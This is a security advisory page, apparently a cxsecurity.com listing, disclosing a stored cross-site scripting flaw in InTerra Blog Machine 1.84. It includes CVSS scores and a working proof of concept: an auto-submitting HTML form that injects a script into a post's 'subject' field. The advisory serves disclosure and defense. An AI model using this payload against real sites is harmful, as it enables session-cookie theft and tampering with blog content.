InTerra Blog Machine XSS vulnerability

2011-04-13 / 2011-04-14
Credit: htbridge
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

Vulnerability ID: HTB22931 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machin e.html Product: InTerra Blog Machine Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ ) Vulnerable Version: 1.84 and probably prior versions Vendor Notification: 31 March 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in "subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/POST_URL/edit/" method="post" name="main" enctype="multipart/form-data"> <!-- POST_URL like "2011/03/31/post_url" --> <input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'> <input type="hidden" name="content" value='content'> <input type="hidden" name="date[Date_Day]" value="31"> <input type="hidden" name="date[Date_Month]" value="03"> <input type="hidden" name="date[Date_Year]" value="2011"> <input type="hidden" name="time[Time_Hour]" value="13"> <input type="hidden" name="time[Time_Minute]" value="59"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="section" value="0"> <input type="hidden" name="sectionNewName" value=""> <input type="hidden" name="sectionNewUnix" value=""> <input type="hidden" name="sectionNewHidden" value="0"> <input type="hidden" name="replicate" value="1"> <input type="hidden" name="keywords" value=""> <input type="hidden" name="edit" value="POST_ID"> </form> <script> document.main.submit(); </script>

Referencje:

http://xforce.iss.net/xforce/xfdb/66562
http://www.securityfocus.com/bid/47104
http://www.securityfocus.com/archive/1/archive/1/517271/100/0/threaded
http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machine.html
http://www.exploit-db.com/exploits/17098


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top